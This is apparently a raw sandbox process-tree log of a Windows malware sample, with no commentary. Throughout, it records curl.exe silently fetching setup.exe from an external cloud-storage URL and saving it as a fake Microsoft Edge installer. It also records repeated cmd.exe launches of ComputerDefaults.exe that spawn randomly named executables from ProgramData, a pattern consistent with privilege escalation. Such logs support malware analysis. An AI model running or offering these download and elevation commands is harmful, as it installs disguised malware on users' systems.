                                                                                        "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                        3⤵
                                                                                          PID:2472
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                          3⤵
                                                                                            PID:1232
                                                                                            • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                              C:\Windows\System32\ComputerDefaults.exe
                                                                                              4⤵
                                                                                                PID:5424
                                                                                                • C:\ProgramData\jzpqrJJQRFKVLwnhohWzePvbbOXzVKZO.eig\IsFMhsSUeLvBKSGYXnfXmXuysaBEKEAX.ssa.exe
                                                                                                  "IsFMhsSUeLvBKSGYXnfXmXuysaBEKEAX.ssa.exe"
                                                                                                  5⤵
                                                                                                    PID:3792
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                3⤵
                                                                                                  PID:4244
                                                                                                  • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                    C:\Windows\System32\ComputerDefaults.exe
                                                                                                    4⤵
                                                                                                      PID:1716
                                                                                                      • C:\ProgramData\tjSDFKmwCYsdkZKsualcsNsjTlqVExzt.BTm\vVLheFjRcMEVJvHRlXFoDyCINSqgcUMi.jUQ.exe
                                                                                                        "vVLheFjRcMEVJvHRlXFoDyCINSqgcUMi.jUQ.exe"
                                                                                                        5⤵
                                                                                                          PID:5000
                                                                                                    • C:\Windows\system32\curl.exe
                                                                                                      "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                      3⤵
                                                                                                        PID:4256
                                                                                                      • C:\Windows\system32\curl.exe
                                                                                                        "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                        3⤵
                                                                                                          PID:1556
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                          3⤵
                                                                                                            PID:2644
                                                                                                            • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                              C:\Windows\System32\ComputerDefaults.exe
                                                                                                              4⤵
                                                                                                                PID:5456
                                                                                                                • C:\ProgramData\gkDQEYKKLGUwUjMtBDobxMnhcumRvUAx.pir\WeyMnPvCaZENYLiOeiyErpTaejQhWqBO.Cfn.exe
                                                                                                                  "WeyMnPvCaZENYLiOeiyErpTaejQhWqBO.Cfn.exe"
                                                                                                                  5⤵
                                                                                                                    PID:5844
                                                                                                              • C:\Windows\system32\curl.exe
                                                                                                                "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                3⤵
                                                                                                                  PID:4708
                                                                                                                • C:\Windows\system32\curl.exe
                                                                                                                  "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                  3⤵
                                                                                                                    PID:4296
                                                                                                                  • C:\Windows\system32\curl.exe
                                                                                                                    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                    3⤵
                                                                                                                      PID:5044
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                      3⤵
                                                                                                                        PID:5516
                                                                                                                        • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                          C:\Windows\System32\ComputerDefaults.exe
                                                                                                                          4⤵
                                                                                                                            PID:2844
                                                                                                                            • C:\ProgramData\gkDQEYKKLGUwUjMtBDobxMnhcumRvUAx.pir\WeyMnPvCaZENYLiOeiyErpTaejQhWqBO.Cfn.exe
                                                                                                                              "WeyMnPvCaZENYLiOeiyErpTaejQhWqBO.Cfn.exe"
                                                                                                                              5⤵
                                                                                                                                PID:5264
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                            3⤵
                                                                                                                              PID:2140
                                                                                                                              • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                4⤵
                                                                                                                                  PID:3864
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                3⤵
                                                                                                                                  PID:4516
                                                                                                                                  • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                    C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                    4⤵
                                                                                                                                      PID:4352
                                                                                                                                      • C:\ProgramData\gkDQEYKKLGUwUjMtBDobxMnhcumRvUAx.pir\WeyMnPvCaZENYLiOeiyErpTaejQhWqBO.Cfn.exe
                                                                                                                                        "WeyMnPvCaZENYLiOeiyErpTaejQhWqBO.Cfn.exe"
                                                                                                                                        5⤵
                                                                                                                                          PID:356
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                      3⤵
                                                                                                                                        PID:1532
                                                                                                                                        • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                          C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                          4⤵
                                                                                                                                            PID:1768
                                                                                                                                            • C:\ProgramData\zopQHmjoEGVvHvbLZoyCCHrXTkHKEhEH.eFu\LEdondsXIFPFtZrcglMajuOrFzWniLkB.DBb.exe
                                                                                                                                              "LEdondsXIFPFtZrcglMajuOrFzWniLkB.DBb.exe"
                                                                                                                                              5⤵
                                                                                                                                                PID:2628
                                                                                                                                          • C:\Windows\system32\curl.exe
                                                                                                                                            "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                            3⤵
                                                                                                                                              PID:4444
                                                                                                                                            • C:\Windows\system32\curl.exe
                                                                                                                                              "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                              3⤵
                                                                                                                                                PID:2648
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                3⤵
                                                                                                                                                  PID:2736
                                                                                                                                                  • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                    C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                    4⤵
                                                                                                                                                      PID:4736
                                                                                                                                                      • C:\ProgramData\UsBOJjVbOiytXoCUDCgsurRJJsvKZccN.Ghc\AQUFIKBqTfwNrrgHLJmkLGVJHxYdLZuu.msM.exe
                                                                                                                                                        "AQUFIKBqTfwNrrgHLJmkLGVJHxYdLZuu.msM.exe"
                                                                                                                                                        5⤵
                                                                                                                                                          PID:1576
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:5968
                                                                                                                                                        • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                          C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                          4⤵
                                                                                                                                                            PID:2400
                                                                                                                                                            • C:\ProgramData\WygRHAvhSOioLITAdMssCRjOmpisICPj.llL\EWtCPykERZdaTUnalmqVQvaSPVrNTjxc.XFQ.exe
                                                                                                                                                              "EWtCPykERZdaTUnalmqVQvaSPVrNTjxc.XFQ.exe"
                                                                                                                                                              5⤵
                                                                                                                                                                PID:2592
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                            3⤵
                                                                                                                                                              PID:2036
                                                                                                                                                              • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:3780
                                                                                                                                                                  • C:\ProgramData\WygRHAvhSOioLITAdMssCRjOmpisICPj.llL\EWtCPykERZdaTUnalmqVQvaSPVrNTjxc.XFQ.exe
                                                                                                                                                                    "EWtCPykERZdaTUnalmqVQvaSPVrNTjxc.XFQ.exe"
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:5752
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:3808
                                                                                                                                                                    • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                      C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:5068
                                                                                                                                                                        • C:\ProgramData\WygRHAvhSOioLITAdMssCRjOmpisICPj.llL\EWtCPykERZdaTUnalmqVQvaSPVrNTjxc.XFQ.exe
                                                                                                                                                                          "EWtCPykERZdaTUnalmqVQvaSPVrNTjxc.XFQ.exe"
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:2928
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:772
                                                                                                                                                                          • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                            C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:5532
                                                                                                                                                                              • C:\ProgramData\WygRHAvhSOioLITAdMssCRjOmpisICPj.llL\EWtCPykERZdaTUnalmqVQvaSPVrNTjxc.XFQ.exe
                                                                                                                                                                                "EWtCPykERZdaTUnalmqVQvaSPVrNTjxc.XFQ.exe"
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:5104
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:5092
                                                                                                                                                                                • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                  C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:3872
                                                                                                                                                                                    • C:\ProgramData\WygRHAvhSOioLITAdMssCRjOmpisICPj.llL\EWtCPykERZdaTUnalmqVQvaSPVrNTjxc.XFQ.exe
                                                                                                                                                                                      "EWtCPykERZdaTUnalmqVQvaSPVrNTjxc.XFQ.exe"
                                                                                                                                                                                      5⤵
                                                                                                                                                                                        PID:2524
                                                                                                                                                                                  • C:\Windows\system32\curl.exe
                                                                                                                                                                                    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:1052
                                                                                                                                                                                    • C:\Windows\system32\curl.exe
                                                                                                                                                                                      "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:2792
                                                                                                                                                                                      • C:\Windows\system32\curl.exe
                                                                                                                                                                                        "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:1324
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:4888
                                                                                                                                                                                            • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                              C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:5008
                                                                                                                                                                                                • C:\ProgramData\thbsmfxtieHSfevGmfSjSjInabfGwkzA.TvO\lMTnFArOljpONGRBjjgsnLxvaqjtiIOV.ekX.exe
                                                                                                                                                                                                  "lMTnFArOljpONGRBjjgsnLxvaqjtiIOV.ekX.exe"
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                    PID:776
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:2220
                                                                                                                                                                                                  • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                    C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:4504
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:3180
                                                                                                                                                                                                      • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                        C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:3756
                                                                                                                                                                                                          • C:\ProgramData\IkAyDYFRfDZkkaOnRkxOKClbSzAKNYLI.HRe\KBQSJRTDqWRonYsoqHkIBOuKDshVpffH.Cmg.exe
                                                                                                                                                                                                            "KBQSJRTDqWRonYsoqHkIBOuKDshVpffH.Cmg.exe"
                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                              PID:1064
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:4876
                                                                                                                                                                                                            • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                              C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:3172
                                                                                                                                                                                                                • C:\ProgramData\IkAyDYFRfDZkkaOnRkxOKClbSzAKNYLI.HRe\KBQSJRTDqWRonYsoqHkIBOuKDshVpffH.Cmg.exe
                                                                                                                                                                                                                  "KBQSJRTDqWRonYsoqHkIBOuKDshVpffH.Cmg.exe"
                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                    PID:6084
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:2008
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                    C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:4624
                                                                                                                                                                                                                      • C:\ProgramData\XEgbXmLiuLJCBFbsVTLHWxjzidBScURp.Ncv\GjYTIEyFgpnDtxhmTVifeBrGYNSbsDJK.FRA.exe
                                                                                                                                                                                                                        "GjYTIEyFgpnDtxhmTVifeBrGYNSbsDJK.FRA.exe"
                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                          PID:4744
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                      /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:2928
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                          C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:5012
                                                                                                                                                                                                                            • C:\ProgramData\XEgbXmLiuLJCBFbsVTLHWxjzidBScURp.Ncv\GjYTIEyFgpnDtxhmTVifeBrGYNSbsDJK.FRA.exe
                                                                                                                                                                                                                              "GjYTIEyFgpnDtxhmTVifeBrGYNSbsDJK.FRA.exe"
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                PID:2880
                                                                                                                                                                                                                          • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                            "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:844
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:5568
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                  C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                    PID:4588
                                                                                                                                                                                                                                    • C:\ProgramData\XEgbXmLiuLJCBFbsVTLHWxjzidBScURp.Ncv\GjYTIEyFgpnDtxhmTVifeBrGYNSbsDJK.FRA.exe
                                                                                                                                                                                                                                      "GjYTIEyFgpnDtxhmTVifeBrGYNSbsDJK.FRA.exe"
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                        PID:4200
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:4256
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                        C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                          PID:3484
                                                                                                                                                                                                                                          • C:\ProgramData\XEgbXmLiuLJCBFbsVTLHWxjzidBScURp.Ncv\GjYTIEyFgpnDtxhmTVifeBrGYNSbsDJK.FRA.exe
                                                                                                                                                                                                                                            "GjYTIEyFgpnDtxhmTVifeBrGYNSbsDJK.FRA.exe"
                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                              PID:1520
                                                                                                                                                                                                                                        • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                          "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:6084
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                            /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:5588
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:1480
                                                                                                                                                                                                                                                  • C:\ProgramData\uHSEqtZkmimqurvdoLqugJcnRSbMvWKu.aot\pLEXGCMopqXrWNPMgWRkioWRvLvaUdFA.ABE.exe
                                                                                                                                                                                                                                                    "pLEXGCMopqXrWNPMgWRkioWRvLvaUdFA.ABE.exe"
                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                      PID:3980
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                  /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:1644
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                      C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:4768
                                                                                                                                                                                                                                                        • C:\ProgramData\uHSEqtZkmimqurvdoLqugJcnRSbMvWKu.aot\pLEXGCMopqXrWNPMgWRkioWRvLvaUdFA.ABE.exe
                                                                                                                                                                                                                                                          "pLEXGCMopqXrWNPMgWRkioWRvLvaUdFA.ABE.exe"
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                            PID:3184
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:4512
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                            C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:2176
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                            /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:5596
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                  PID:6288
                                                                                                                                                                                                                                                                  • C:\ProgramData\sRsvHaNxzKCiVbsECdBWAZPRImamFLqQ.OQb\qYMVWMrRyWwbcoJMNsWPFmvLQEmBqUTw.jyu.exe
                                                                                                                                                                                                                                                                    "qYMVWMrRyWwbcoJMNsWPFmvLQEmBqUTw.jyu.exe"
                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                      PID:6412
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:6020
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                      C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:6336
                                                                                                                                                                                                                                                                        • C:\ProgramData\sRsvHaNxzKCiVbsECdBWAZPRImamFLqQ.OQb\qYMVWMrRyWwbcoJMNsWPFmvLQEmBqUTw.jyu.exe
                                                                                                                                                                                                                                                                          "qYMVWMrRyWwbcoJMNsWPFmvLQEmBqUTw.jyu.exe"
                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                            PID:6496
                                                                                                                                                                                                                                                                      • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                        "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:3984
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                          /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:1948
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                              C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:6440
                                                                                                                                                                                                                                                                                • C:\ProgramData\sRsvHaNxzKCiVbsECdBWAZPRImamFLqQ.OQb\qYMVWMrRyWwbcoJMNsWPFmvLQEmBqUTw.jyu.exe
                                                                                                                                                                                                                                                                                  "qYMVWMrRyWwbcoJMNsWPFmvLQEmBqUTw.jyu.exe"
                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                    PID:6564
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:6176
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                    C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:6452
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                    /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:6184
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                        C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:6432
                                                                                                                                                                                                                                                                                          • C:\ProgramData\sRsvHaNxzKCiVbsECdBWAZPRImamFLqQ.OQb\qYMVWMrRyWwbcoJMNsWPFmvLQEmBqUTw.jyu.exe
                                                                                                                                                                                                                                                                                            "qYMVWMrRyWwbcoJMNsWPFmvLQEmBqUTw.jyu.exe"
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                              PID:6556
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:6580
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:6588
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:6200
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:6668
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                      PID:6868
                                                                                                                                                                                                                                                                                                      • C:\ProgramData\LBsmELxMxLGJUDlKtEDGXNHlxFKIcBCX.MjA\HbMHZvpEJDjTFReLjWzeAOktiWFkxAti.nvN.exe
                                                                                                                                                                                                                                                                                                        "HbMHZvpEJDjTFReLjWzeAOktiWFkxAti.nvN.exe"
                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                          PID:6964
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                      /c "C:\Windows\System32\ComputerDefaults.exe"
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:6660
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\System32\ComputerDefaults.exe
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                            PID:6816
                                                                                                                                                                                                                                                                                                            • C:\ProgramData\LBsmELxMxLGJUDlKtEDGXNHlxFKIcBCX.MjA\HbMHZvpEJDjTFReLjWzeAOktiWFkxAti.nvN.exe
                                                                                                                                                                                                                                                                                                              "HbMHZvpEJDjTFReLjWzeAOktiWFkxAti.nvN.exe"
                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                PID:6900
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                            /c "C:\Windows\System32\ComputerDefaults.exe"
